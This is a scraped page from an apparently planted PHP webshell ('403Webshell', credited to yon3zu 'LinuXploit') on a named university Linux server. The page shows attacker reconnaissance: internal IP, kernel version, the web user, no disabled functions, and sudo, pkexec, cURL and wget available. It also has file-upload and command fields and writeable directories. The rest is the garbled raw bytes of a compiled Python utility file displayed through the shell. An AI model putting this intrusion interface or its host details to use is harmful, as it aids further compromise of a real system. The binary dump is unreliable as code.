403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/rhsmlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/rhsmlib/__pycache__/utils.cpython-36.pyc
3

a�eQ�@s8ddlmZmZmZddlZdd�ZGdd�de�ZdS)�)�print_function�division�absolute_importNcs�fdd�}|S)a-
    Decorator of singleton __init__ method. When the __init__ method will be wrapped using
    this decorator, then the __init__ method will be called only once, when the first instance
    is created.
    :param init_method: the __init__ method of singleton object
    :return: wrapper function
    cs�t|�dkr�|d}t|d�dks4tdj|jd���t|d�dksTtdj|jd���|jjdd�z|jdkrrdS�||�Wdd|_|jj�Xntd	��dS)
Nr�_initializedTz1The {cls} does not include _initialized attribute)�cls�_lockz*The {cls} does not include _lock attribute)�blockingz2The wrapper method was called without any argument)	�len�hasattr�AssertionError�format�	__class__r�acquirer�release)�args�kwargs�self)�init_method��/usr/lib64/python3.6/utils.py�wrapper"s
z$no_reinitialization.<locals>.wrapperr)rrr)rr�no_reinitializations	rc@sDeZdZdZdZdZdZdd�Zdd�Zdd	�Z	d
d�Z
dd
�ZdS)�	Singletona�
    Singleton and parent for singletons. Please use decorator for __init__ method like this:

    class Child(Singleton):
        @no_reinitialization
        def __init__(self, foo, bar=None):
            self.foo = foo
            self.bar = bar

    The behavior of singleton without using @no_reinitialization is usually not desired,
    because __init__() would re-initialize instance of singleton everytime it is called.

    When singleton is used in application using thread, then you can lock the object using
    two different methods. First recommended method is using with statement, because
    Singleton has __enter__ and __exit__ methods implemented and instance of RLock is
    acquired and released there. You can use something like this:

    with Singleton() as singleton:
        print(singleton._lock._is_owner())

    You can also use manual locking, but it use it carefully, because you can easily
    cause deadlock. It is recommended to use at least try-finally statement:

    singleton = Singleton()
    singleton.lock()
    try:
        print(singleton._lock._is_owner())
    finally:
        singleton.unlock()

    The unlock() method can handle gracefully the situation, when the lock is not locked.
    NFcOsJ|jdkrtj�|_|jjdd�t|j|�s:tj|�|_|jj�|jS)zN
        Function called, when new instance of Singleton is requested
        NT)r)	r�	threading�RLockr�
isinstance�	_instance�object�__new__r)rrrrrrrds


zSingleton.__new__cCs|jj�dS)z�
        Lock the sender using RLock. Thus one thread can lock acquire this lock several times,
        but other threads can not acquire this lock until the lock is completely unlocked.
        :return: None
        N)rr)rrrr�locksszSingleton.lockcCs(y|jj�Wntk
r"YnXdS)z@
        Try to unlock the RLock.
        :return: None
        N)rr�RuntimeError)rrrr�unlock{szSingleton.unlockcCs|j�|S)zh
        When using: `with dbus_sender:` lock the sender at the beginning
        :return: None
        )r)rrrr�	__enter__�szSingleton.__enter__cCs|j�dS)z�
        When using `with dbus_sender:` unlock the sender at the end
        :param exc_type: Exception type
        :param exc_val: Exception value
        :param exc_tb: Traceback of exception
        :return: None
        N)r!)r�exc_typeZexc_valZexc_tbrrr�__exit__�szSingleton.__exit__)�__name__�
__module__�__qualname__�__doc__rrrrrr!r"r$rrrrr>s 
r)Z
__future__rrrrrrrrrrr�<module>s%

Youez - 2016 - github.com/yon3zu
LinuXploit